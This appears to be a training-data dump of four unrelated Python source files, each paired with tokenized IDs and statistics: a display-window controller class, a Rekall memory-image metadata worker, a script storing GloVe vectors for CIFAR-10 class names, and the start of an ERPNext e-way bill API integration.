__all__ = ['DisplayController',
'Display']
class DisplayController(list):
""" Display Controller Class
This class will store all the displays created. Also it will
manage the creation of the window, shutdown, etc..
"""
def __init__(self, displays):
""" Initialize the constructor
"""
if not is_collection(displays):
displays = [displays]
self.extend(displays)
def init(self):
""" Initialize the creation of the windows
"""
for display in self:
display.init()
return self
def update(self):
""" Update the windows
"""
for display in self:
display.update()
return self
def close(self,dispose=False):
""" Close the window
"""
for display in self:
display.close(dispose)
return self
def dispose(self):
""" Dispose manually the window
"""
for display in self:
display.dispose()
return self
class Display(Defaults):
""" Abstract Display class
"""
# Default Display Mode that will be used when crating the window
# Open GL and Double Buffer are neccesary to display OpenGL
defaultmode = [DisplayMode.opengl, DisplayMode.doublebuf]
defaults = dict([("title","Display Window"),
("width",800),
("height",600),
("bpp",16),
("mode",DisplayMode.resizable)])
def __init__(self, *args, **kwargs ):
""" Initialize all the variables
"""
super().__init__(*args,**kwargs)
keys = list(Display.defaults.keys())
for index, arg in enumerate(args):
setattr(self, keys[index], arg)
def init(self):
""" Initialize the creation of the window
"""
raise NotImplementedError
def update(self):
""" Update the window
"""
raise NotImplementedError
def close(self,dispose=False):
""" Close the window
"""
raise NotImplementedError
def dispose(self):
""" Dispose manually the window
"""
raise NotImplementedError
| [
6738,
17268,
1330,
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1068,
35,
713,
355,
8633,
198,
6738,
11485,
8692,
13,
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1330,
1635,
198,
6738,
11485,
8692,
1330,
2896,
13185,
11,
360,
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198,
6738,
764,
9979,
1187,
1330,
1635,
198,
198,
834,
439,
834,
796,
37250,
... | 2.330418 | 1,029 |
''' Memory Image Meta worker. This worker utilizes the Rekall Memory Forensic Framework.
See Google Github: http://github.com/google/rekall
All credit for good stuff goes to them, all credit for bad stuff goes to us. :)
Note: In general this code is crazy, because Rekall has it's own type system
we're scraping it's output and trying to squeeze stuff into general python types.
'''
import os
import hashlib
import pprint
import collections
from rekall_adapter.rekall_adapter import RekallAdapter
class MemoryImageMeta(object):
''' This worker computes meta-data for memory image files. '''
dependencies = ['sample']
def __init__(self):
''' Initialization '''
self.plugin_name = 'imageinfo'
self.current_table_name = 'info'
self.output = {'tables': collections.defaultdict(list)}
self.column_map = {}
def execute(self, input_data):
''' Execute method '''
# Spin up the rekall adapter
adapter = RekallAdapter()
adapter.set_plugin_name(self.plugin_name)
rekall_output = adapter.execute(input_data)
# Process the output data
for line in rekall_output:
if line['type'] == 'm': # Meta
self.output['meta'] = line['data']
elif line['type'] == 's': # New Session (Table)
self.current_table_name = line['data']['name'][1]
elif line['type'] == 't': # New Table Headers (column names)
self.column_map = {item['cname']: item['name'] if 'name' in item else item['cname'] for item in line['data']}
elif line['type'] == 'r': # Row
# Add the row to our current table
row = RekallAdapter.process_row(line['data'], self.column_map)
self.output['tables'][self.current_table_name].append(row)
else:
print 'Note: Ignoring rekall message of type %s: %s' % (line['type'], line['data'])
# All done
return self.output
# Unit test: Create the class, the proper input and run the execute() method for a test
import pytest
#pylint: disable=no-member
@pytest.mark.xfail
#pylint: enable=no-member
def test():
''' mem_meta.py: Test '''
# This worker test requires a local server running
import zerorpc
workbench = zerorpc.Client(timeout=300, heartbeat=60)
workbench.connect("tcp://127.0.0.1:4242")
# Store the sample
data_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), '../data/memory_images/exemplar4.vmem')
with open(data_path, 'rb') as mem_file:
raw_bytes = mem_file.read()
md5 = hashlib.md5(raw_bytes).hexdigest()
if not workbench.has_sample(md5):
md5 = workbench.store_sample(open(data_path, 'rb').read(), 'exemplar4.vmem', 'mem')
# Execute the worker (unit test)
worker = MemoryImageMeta()
output = worker.execute({'sample':{'raw_bytes':raw_bytes}})
print '\n<<< Unit Test >>>'
print 'Meta: %s' % output['meta']
for name, table in output['tables'].iteritems():
print '\nTable: %s' % name
pprint.pprint(table)
assert 'Error' not in output
# Execute the worker (server test)
output = workbench.work_request('mem_meta', md5)['mem_meta']
print '\n<<< Server Test >>>'
print 'Meta: %s' % output['meta']
for name, table in output['tables'].iteritems():
print '\nTable: %s' % name
pprint.pprint(table)
assert 'Error' not in output
if __name__ == "__main__":
test()
| [
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13,
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785,
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14,
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439,
198,
220,
220,
220,
1439,
38... | 2.448797 | 1,455 |
import numpy as np
from skimage.measure import shannon_entropy
cifar10_names = [
"airplane",
"automobile",
"bird",
"cat",
"deer",
"dog",
"frog",
"horse",
"ship",
"truck",
]
cifar10_labels = []
cifar10_labels.append([1.2977, -0.29922, 0.66154, -0.20133, -0.02502, 0.28644, -1.0811, -0.13045, 0.64917, -0.33634, 0.53352, 0.32792, -0.43206, 1.4613, 0.022957, -0.26019, -1.1061, 1.077, -0.99877, -1.3468, 0.39016, 0.43799, -1.0403, -0.36612, 0.39231, -1.3089, -0.82404, 0.63095, 1.2513, 0.10211, 1.2735, -0.0050163, -0.39469, 0.36387, 0.65099, -0.21433, 0.52291, -0.079013, -0.14676, 0.89248, -0.31447, 0.090903, 0.78216, -0.10842, -0.3186, 0.16068, -0.20168, -0.095033, -0.010109, 0.19048])
cifar10_labels.append([-0.41195, 0.069058, 0.26701, 0.41424, -0.91901, 0.63319, -0.89194, -0.53483, 0.19187, -0.038827, 1.1475, -0.1396, -0.66392, -0.19639, 0.30304, -0.06703, -0.95611, 1.6306, 0.17545, -1.6013, 1.2995, -1.0079, -1.7455, -0.00058892, -0.021532, -0.97641, -0.93735, 0.040884, 0.31757, 0.55358, 1.5822, 0.14179, 0.37018, 0.39469, 0.47537, -0.53013, -0.043661, 0.42126, 0.29403, 0.80253, -0.61572, -0.76155, 0.9184, -0.72823, 0.59806, -0.16884, -0.59675, 0.16543, 0.89073, -0.060983])
cifar10_labels.append([0.78675, 0.079368, -0.76597, 0.1931, 0.55014, 0.26493, -0.75841, -0.8818, 1.6468, -0.54381, 0.33519, 0.44399, 1.089, 0.27044, 0.74471, 0.2487, 0.2491, -0.28966, -1.4556, 0.35605, -1.1725, -0.49858, 0.35345, -0.1418, 0.71734, -1.1416, -0.038701, 0.27515, -0.017704, -0.44013, 1.9597, -0.064666, 0.47177, -0.03, -0.31617, 0.26984, 0.56195, -0.27882, -0.36358, -0.21923, -0.75046, 0.31817, 0.29354, 0.25109, 1.6111, 0.7134, -0.15243, -0.25362, 0.26419, 0.15875])
cifar10_labels.append([0.45281, -0.50108, -0.53714, -0.015697, 0.22191, 0.54602, -0.67301, -0.6891, 0.63493, -0.19726, 0.33685, 0.7735, 0.90094, 0.38488, 0.38367, 0.2657, -0.08057, 0.61089, -1.2894, -0.22313, -0.61578, 0.21697, 0.35614, 0.44499, 0.60885, -1.1633, -1.1579, 0.36118, 0.10466, -0.78325, 1.4352, 0.18629, -0.26112, 0.83275, -0.23123, 0.32481, 0.14485, -0.44552, 0.33497, -0.95946, -0.097479, 0.48138, -0.43352, 0.69455, 0.91043, -0.28173, 0.41637, -1.2609, 0.71278, 0.23782])
cifar10_labels.append([-0.0014181, -0.012513, -0.11606, -0.32099, 0.30832, 0.28235, -1.3521, -1.8643, 1.1219, -0.83093, -0.16311, -0.025823, 1.0296, -0.46624, 0.08404, 1.2953, 1.5536, 0.18442, -1.6419, 0.53065, -1.1949, -0.90213, 1.0302, 0.54902, 0.10129, -0.83007, -0.54873, 0.64926, 0.3829, -1.1255, 0.68471, 0.47026, -0.39548, 0.26924, 0.76423, 0.30521, -0.075649, -0.48568, -0.18858, 0.70855, -1.3426, 0.69116, -0.50315, 0.93529, 1.2236, -0.88088, 0.36148, -0.8275, 0.9807, -0.49068])
cifar10_labels.append([0.11008, -0.38781, -0.57615, -0.27714, 0.70521, 0.53994, -1.0786, -0.40146, 1.1504, -0.5678, 0.0038977, 0.52878, 0.64561, 0.47262, 0.48549, -0.18407, 0.1801, 0.91397, -1.1979, -0.5778, -0.37985, 0.33606, 0.772, 0.75555, 0.45506, -1.7671, -1.0503, 0.42566, 0.41893, -0.68327, 1.5673, 0.27685, -0.61708, 0.64638, -0.076996, 0.37118, 0.1308, -0.45137, 0.25398, -0.74392, -0.086199, 0.24068, -0.64819, 0.83549, 1.2502, -0.51379, 0.04224, -0.88118, 0.7158, 0.38519])
cifar10_labels.append([0.61038, -0.20757, -0.71951, 0.89304, 0.32482, 0.76564, 0.1814, -0.33086, 0.79173, -0.31664, 0.011143, 0.45412, 1.5992, 0.013494, -0.093646, 0.19245, 0.251, 1.1277, -1.0897, -0.42909, -1.1327, -0.90465, 0.5617, -0.058464, 1.0007, -0.39017, -0.41665, 0.73721, -0.53824, -0.95993, 0.67929, -0.59053, 0.13408, 0.54273, -0.36615, 0.014978, -0.2496, -0.81088, 0.078905, -0.97552, -0.66394, -0.18508, -0.87174, 0.30782, 1.2839, -0.14884, 0.62178, -1.509, 0.14582, -0.31682])
cifar10_labels.append([-0.20454, 0.23321, -0.59158, -0.29205, 0.29391, 0.31169, -0.94937, 0.055974, 1.0031, -1.0761, -0.0094648, 0.18381, -0.048405, -0.35717, 0.26004, -0.41028, 0.51489, 1.2009, -1.6136, -1.1003, -0.23455, -0.81654, -0.15103, 0.37068, 0.477, -1.7027, -1.2183, 0.038898, 0.23327, 0.028245, 1.6588, 0.26703, -0.29938, 0.99149, 0.34263, 0.15477, 0.028372, 0.56276, -0.62823, -0.67923, -0.163, -0.49922, -0.8599, 0.85469, 0.75059, -1.0399, -0.11033, -1.4237, 0.65984, -0.3198])
cifar10_labels.append([1.5213, 0.10522, 0.38162, -0.50801, 0.032423, -0.13484, -1.2474, 0.79813, 0.84691, -1.101, 0.88743, 1.3749, 0.42928, 0.65717, -0.2636, -0.41759, -0.48846, 0.91061, -1.7158, -0.438, 0.78395, 0.19636, -0.40657, -0.53971, 0.82442, -1.7434, 0.14285, 0.28037, 1.1688, 0.16897, 2.2271, -0.58273, -0.45723, 0.62814, 0.54441, 0.28462, 0.44485, -0.55343, -0.36493, -0.016425, 0.40876, -0.87148, 1.5513, -0.80704, -0.10036, -0.28461, -0.33216, -0.50609, 0.48272, -0.66198])
cifar10_labels.append([0.35016, -0.36192, 1.505, -0.070263, 0.32708, 0.48106, -1.4825, 0.07962, 0.83452, -0.72912, 0.19233, -0.90769, -0.89611, 0.33796, 0.42153, -0.47797, -0.47473, 1.6142, -0.5358, -1.6758, 0.64926, 0.074053, -0.66378, 0.66352, -0.11525, -1.46, -0.31867, 0.99803, 1.636, -0.11678, 1.8673, -0.19582, -0.50549, 0.82963, 1.3381, 0.33233, 0.24957, -0.37286, 0.2777, 0.88405, -0.29343, -0.0033666, 0.27167, -1.1805, 0.53095, -0.31678, -0.3141, -0.31516, 0.96377, -0.55119])
cifar10_labels = np.asarray(cifar10_labels)
np.save('./cifar10_glove.npy', cifar10_labels.astype(np.float32))
entropy_dict = {}
entropy_arr = []
for i in range(10):
value = shannon_entropy(cifar10_labels[i])
entropy_dict[cifar10_names[i]] = value
entropy_arr.append(value)
entropy_arr = np.asarray(entropy_arr)
print('mean entropy: ', np.mean(entropy_arr))
print('std entropy: ', np.std(entropy_arr))
| [
11748,
299,
32152,
355,
45941,
198,
6738,
1341,
9060,
13,
1326,
5015,
1330,
427,
8825,
62,
298,
28338,
198,
198,
66,
361,
283,
940,
62,
14933,
796,
685,
198,
220,
220,
220,
366,
958,
14382,
1600,
220,
198,
220,
220,
220,
366,
2306,
... | 1.732232 | 3,208 |
# -*- coding: utf-8 -*-
# Copyright (c) 2020, Aerele Technologies Private Limited and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from erpnext.regional.india.utils import generate_ewb_json
from requests import request
import json
import random, string
from frappe import _
from frappe.utils import cint
from ewb_api_integration.ewb_api_integration.doctype.ewb_api_integration_settings.ewb_api_integration_settings import get_config_data
url_dict = {'base_url': 'https://gsp.adaequare.com',
'authenticate_url': '/gsp/authenticate?grant_type=token',
'staging_generate_url': '/test/enriched/ewb/ewayapi?action=GENEWAYBILL',
'live_generate_url': '/enriched/ewb/ewayapi?action=GENEWAYBILL',
'staging_cancel_url': '/test/enriched/ewb/ewayapi?action=CANEWB',
'live_cancel_url': '/enriched/ewb/ewayapi?action=CANEWB',
'staging_update_transporter_url': '/test/enriched/ewb/ewayapi?action=UPDATETRANSPORTER',
'live_update_transporter_url': '/enriched/ewb/ewayapi?action=UPDATETRANSPORTER',
'staging_get_ewb_url': '/test/enriched/ewb/ewayapi/GetEwayBill',
'live_get_ewb_url': '/enriched/ewb/ewayapi/GetEwayBill'} | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
2,
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357,
66,
8,
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11,
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567,
293,
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290,
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1321,
11,
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766,
5964,
13,
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198,
198,
6738,
11593,
37443... | 2.668094 | 467 |